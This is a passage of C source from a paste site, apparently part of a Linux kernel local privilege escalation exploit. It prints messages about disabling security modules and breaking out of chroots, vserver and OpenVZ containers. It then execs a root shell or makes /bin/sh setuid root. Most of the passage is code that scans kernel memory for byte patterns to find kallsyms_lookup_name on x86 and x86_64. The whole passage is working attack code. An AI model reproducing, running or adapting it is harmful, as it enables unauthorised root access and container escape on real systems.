			strcpy(msg, " nothing, what an insecure machine!");
		fprintf(stdout, " [+] Disabled security of :%s\n", msg);
	}
	if (fs_offset) {
		printf(" [+] Found ->fs offset at 0x%x\n", fs_offset);
		if (init_task && init_fs)
			printf(" [+] Broke out of any chroots or mnt namespaces\n");
	}
	if (vserver_offset) {
		printf(" [+] Found vserver id info at offset 0x%x\n", vserver_offset);
	}
	if (has_vserver) {
		printf(" [+] Broke out of any vserver container\n");
	}
	if (prepare_ve0_process) {
		printf(" [+] Broke out of any OpenVZ container\n");
	}

	if (xen_detected && mark_rodata_ro && set_kernel_text_ro && (make_lowmem_page_readonly == NULL || make_lowmem_page_readwrite == NULL))
		fprintf(stdout, " [+] Unable to issue Xen hypercall for .text modification -- modification disabled\n");

	if (exp_state.got_root == 1)
		fprintf(stdout, " [+] Got root!\n");
	else {
		fprintf(stdout, " [+] Failed to get root :(\n");
		exit(0);
	}

	main_ret = post();
	if (main_ret == RUN_ROOTSHELL)
		exec_rootshell();
	else if (main_ret == CHMOD_SHELL) {
		chmod("/bin/sh", 04755);
		fprintf(stdout, "/bin/sh is now setuid root.\n");
	} else if (main_ret == FUNNY_PIC_AND_ROOTSHELL) {
		system("gthumb --fullscreen ./funny.jpg");
		exec_rootshell();
	}

	return 0;
}

void pa__done(void *m)
{
	return;
}

static inline unsigned long find_starting_string(void)
{
	unsigned long i, x;
	unsigned char *mem;

	for (x = 0; valid_ranges[x][0]; x++) {
		mem = (unsigned char *)valid_ranges[x][0];
	for (i = 0; i < (valid_ranges[x][1] - valid_ranges[x][0]) - 100; i++) {
		if (!memcmp(&mem[i], "\0%s+%#lx/%#lx [%s]", 19) || // 2.6.18 and earlier
		    !memcmp(&mem[i], "\0+%#lx/%#lx [%s]", 17) || // before 3.8
		    !memcmp(&mem[i], "\0+%#lx/%#lx", 12)) // 3.8 and later
			return (unsigned long)mem + i + 1;
	}
	}

	return 0UL;
}

static inline unsigned long find_reference_to_starting_string(unsigned long addr)
{
	unsigned int intaddr = (unsigned int)(addr & 0xFFFFFFFF);
	unsigned long i, x;
	unsigned char *mem;

	for (x = 0; valid_ranges[x][0]; x++) {
		mem = (unsigned char *)valid_ranges[x][0];
	for (i = 0; i < (valid_ranges[x][1] - valid_ranges[x][0]) - 100; i++) {
#ifdef __x86_64__
		if (mem[i] == 0x48 && *(unsigned int *)&mem[i+3] == intaddr)
#else
		if ((mem[i] == 0x68 && *(unsigned int *)&mem[i+1] == intaddr) ||
		    (mem[i] == 0xc7 && mem[i+1] == 0x44 && mem[i+2] == 0x24 && mem[i+3] == 0x04 && *(unsigned int *)&mem[i+4] == intaddr))
#endif
			return (unsigned long)mem + i;
	}
	}

	return 0UL;
}

static inline unsigned long find_call_to_kallsyms_lookup(unsigned char *mem, unsigned long len, unsigned long addr)
{
	unsigned long idx = addr - (unsigned long)mem;
	unsigned long i;

	for (i = idx; i > idx - 0x100; i--) {
		if (mem[i] == 0xe8 && *(int *)&mem[i+1] > -0x1000 && *(int *)&mem[i+1] < 0)
			return (unsigned long)mem + i;
	}

	return 0UL;
}

static inline unsigned long get_call_target(unsigned long addr)
{
	return addr + 5 + *(int *)(addr + 1);

}

static inline unsigned long find_kallsyms_expand_symbol(unsigned char *mem, unsigned long len, unsigned long addr)
{
	unsigned long i;
	unsigned long startidx = addr - (unsigned long)mem;
	int count = 0;

	for (i = startidx + 0x20; i < startidx + 0x100; i++) {
		// find near call followed by a test r12/r13
#ifdef __x86_64__
		if (mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x4d)
#else
		if ((mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x85) ||
			// interleaved mov
		    (mem[i] == 0xe8 && mem[i+3] > 0xF0 && mem[i+4] == 0xFF && mem[i+5] == 0x8b && mem[i+8] == 0x85))
#endif
			return get_call_target((unsigned long)mem + i);
	}

	return 0UL;
}

static inline bool call_to_function_pointer_nearby(unsigned char *mem, unsigned long len, unsigned long addr)
{
	unsigned long startidx = addr - (unsigned long)mem;
	unsigned long i;

	for (i = startidx; i < startidx + 0x30; i++) {
		// look for call reg / test eax, eax
#ifdef __x86_64__
		if (mem[i] == 0x41 && mem[i+1] == 0xff && mem[i+3] == 0x85 && mem[i+4] == 0xc0)
#else
		if ((mem[i] == 0xff && mem[i+2] == 0x85 && mem[i+3] == 0xc0) ||
		    (mem[i] == 0xff && mem[i+3] == 0xff && mem[i+4] == 0xff && mem[i+5] == 0xff && mem[i+6] == 0x85 && mem[i+7] == 0xc0))
#endif
			return true;
	}

	return false;
}

static inline bool has_return_value_checking_call_nearby(unsigned char *mem, unsigned long len, unsigned long addr)
{
	unsigned long startidx = addr - (unsigned long)mem;
	unsigned long i;

	for (i = startidx; i < startidx + 0x30; i++) {
		// look for relative call / test eax, eax
		if (mem[i] == 0xe8 && (mem[i+4] == 0x00 || mem[i+4] == 0xff) && mem[i+5] == 0x85 && mem[i+6] == 0xc0) {
			// now look for the jnz / mov / jmp sequence
#ifdef __x86_64__
			if (mem[i+7] == 0x75 && mem[i+9] == 0x48 && mem[i+17] == 0xeb)
#else
			if (mem[i+7] == 0x75 && mem[i+9] == 0x8b && mem[i+16] == 0xeb)
#endif
				return true;
		}
	}

	return false;
}

static inline unsigned long get_function_address(unsigned char *mem, unsigned long len, unsigned long addr)
{
	unsigned long startidx = addr - (unsigned long)mem;
	unsigned long i;

	for (i = startidx; i > startidx - 0x100; i--) {
#ifdef __x86_64__
		if (!memcmp(&mem[i], "\x55\x48\x89\xe5", 4))
#else
		if (!memcmp(&mem[i], "\x55\x89\xe5", 3) || !memcmp(&mem[i], "\x55\x89\xc5", 3))
#endif
			return (unsigned long)mem + i;
	}

	return 0UL;
}

static inline unsigned long find_kallsyms_lookup_name(unsigned char *mem, unsigned long len, unsigned long addr)
{
	unsigned long startidx = addr - (unsigned long)mem - 0x2000;
	unsigned long endidx = addr - (unsigned long)mem + 0x2000;
	unsigned long i;

	for (i = startidx; i < endidx; i++) {
		if (mem[i] == 0xe8 && get_call_target((unsigned long)mem + i) == addr) {
			// found a call to kallsyms_expand_symbol
			if (call_to_function_pointer_nearby(mem, len, (unsigned long)mem + i + 5))
				continue;
			if (!has_return_value_checking_call_nearby(mem, len, (unsigned long)mem + i + 5))
				continue;
			return get_function_address(mem, len, (unsigned long)mem + i);
		}
	}

	return 0UL;
}

static unsigned long get_kallsyms_lookup_name(void)
{
	unsigned char *base;
	unsigned long len;
	unsigned long start_string;
	unsigned long start_string_ref;
	unsigned long kallsyms_lookup_call;
	unsigned long kallsyms_lookup;
	unsigned long kallsyms_expand_symbol;
	unsigned long kallsyms_lookup_name_func;
	int i;

#ifdef __x86_64__
	find_kernel_ranges();
#else
	/* hack for now */
	valid_ranges[0][0] = KERNEL_BASE + 0x01000000;
	valid_ranges[0][1] = valid_ranges[0][0] + (1024 * 1024 * 16);
#endif

	if (!valid_ranges[0][0] || !valid_ranges[0][1])
		return 0UL;
	start_string = find_starting_string();
	if (!start_string)
		return 0UL;
	start_string_ref = find_reference_to_starting_string(start_string);
	if (!start_string_ref)
		return 0UL;
	for (i = 0; i < NUM_RANGES; i++) {
		if (start_string_ref >= valid_ranges[i][0] && start_string_ref < valid_ranges[i][1]) {
			base = (unsigned char *)valid_ranges[i][0];
			len = valid_ranges[i][1] - valid_ranges[i][0];
			break;
		}
	}
	kallsyms_lookup_call = find_call_to_kallsyms_lookup(base, len, start_string_ref);
	if (!kallsyms_lookup_call)
		return 0UL;
	kallsyms_lookup = get_call_target(kallsyms_lookup_call);
	kallsyms_expand_symbol = find_kallsyms_expand_symbol(base, len, kallsyms_lookup);
	if (!kallsyms_expand_symbol)
		return 0UL;
	kallsyms_lookup_name_func = find_kallsyms_lookup_name(base, len, kallsyms_expand_symbol);

	return kallsyms_lookup_name_func;
}

int main(void)
{
  exp_state.run_from_main = 1;
  pa__init(NULL);
  return 0;
}
close fullscreen
Login or Register to edit or fork this paste. It's free.